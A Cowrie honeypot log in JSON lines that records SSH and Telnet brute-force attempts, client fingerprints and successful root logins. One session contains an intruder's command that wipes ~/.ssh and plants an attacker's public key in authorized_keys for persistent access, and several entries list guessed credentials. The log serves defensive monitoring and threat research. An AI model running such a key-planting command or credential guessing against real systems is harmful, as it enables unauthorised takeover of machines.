{"eventid":"cowrie.session.connect","src_ip":"185.242.3.105","src_port":53326,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7a72c63dc6","protocol":"telnet","message":"New connection: 185.242.3.105:53326 (10.17.0.5:23) [session: dc7a72c63dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:21:50.259640Z"}
{"eventid":"cowrie.session.closed","duration":30.194857358932495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:20.454349Z","src_ip":"185.242.3.105","session":"dc7a72c63dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"e982eb9b3067","protocol":"ssh","message":"New connection: 92.118.39.92:49036 (10.17.0.5:22) [session: e982eb9b3067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:32.493502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:32.497591Z","src_ip":"92.118.39.92","session":"e982eb9b3067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:32.598781Z","src_ip":"92.118.39.92","session":"e982eb9b3067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:32.989532Z","src_ip":"92.118.39.92","session":"e982eb9b3067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:22:34.093739Z","src_ip":"92.118.39.92","session":"e982eb9b3067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36374,"dst_ip":"159.203.135.109","dst_port":22,"session":"eca9db7dc1ce","protocol":"ssh","message":"New connection: 195.178.110.218:36374 (159.203.135.109:22) [session: eca9db7dc1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:23:17.951480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:23:17.956398Z","src_ip":"195.178.110.218","session":"eca9db7dc1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:23:18.036881Z","src_ip":"195.178.110.218","session":"eca9db7dc1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:23:18.275229Z","src_ip":"195.178.110.218","session":"eca9db7dc1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:23:19.358606Z","src_ip":"195.178.110.218","session":"eca9db7dc1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.242.45.113","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee7224ef583","protocol":"ssh","message":"New connection: 160.242.45.113:53064 (10.17.0.5:22) [session: bee7224ef583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:24.648497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:24.653191Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:24.869402Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"LL@123456","message":"login attempt [root/LL@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:25.768492Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.242681Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.245961Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.249659Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.469730Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.934998Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:26.937264Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:27.156885Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:27.160638Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.242.45.113","src_port":53080,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b79f48687f0","protocol":"ssh","message":"New connection: 160.242.45.113:53080 (10.17.0.5:22) [session: 1b79f48687f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:28.649256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:28.653441Z","src_ip":"160.242.45.113","session":"1b79f48687f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:28.862759Z","src_ip":"160.242.45.113","session":"1b79f48687f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:29.730733Z","src_ip":"160.242.45.113","session":"1b79f48687f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:30.944285Z","src_ip":"160.242.45.113","session":"1b79f48687f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.242.45.113","src_port":60400,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2c626067d83","protocol":"ssh","message":"New connection: 160.242.45.113:60400 (10.17.0.5:22) [session: c2c626067d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:31.162035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:31.169755Z","src_ip":"160.242.45.113","session":"c2c626067d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:31.383491Z","src_ip":"160.242.45.113","session":"c2c626067d83","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:32.268400Z","src_ip":"160.242.45.113","session":"c2c626067d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:32.483120Z","src_ip":"160.242.45.113","session":"c2c626067d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:32.487832Z","src_ip":"160.242.45.113","session":"bee7224ef583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":37444,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef15caf502f","protocol":"ssh","message":"New connection: 92.118.39.92:37444 (10.17.0.5:22) [session: 6ef15caf502f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:51.491613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:51.496425Z","src_ip":"92.118.39.92","session":"6ef15caf502f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:51.632878Z","src_ip":"92.118.39.92","session":"6ef15caf502f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:51.982375Z","src_ip":"92.118.39.92","session":"6ef15caf502f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:24:53.089065Z","src_ip":"92.118.39.92","session":"6ef15caf502f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":60566,"dst_ip":"159.203.135.109","dst_port":22,"session":"5261d797372b","protocol":"ssh","message":"New connection: 195.178.110.218:60566 (159.203.135.109:22) [session: 5261d797372b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:02.364896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:02.369440Z","src_ip":"195.178.110.218","session":"5261d797372b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:02.448485Z","src_ip":"195.178.110.218","session":"5261d797372b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:26:02.674412Z","src_ip":"195.178.110.218","session":"5261d797372b","protocol":"ssh"}
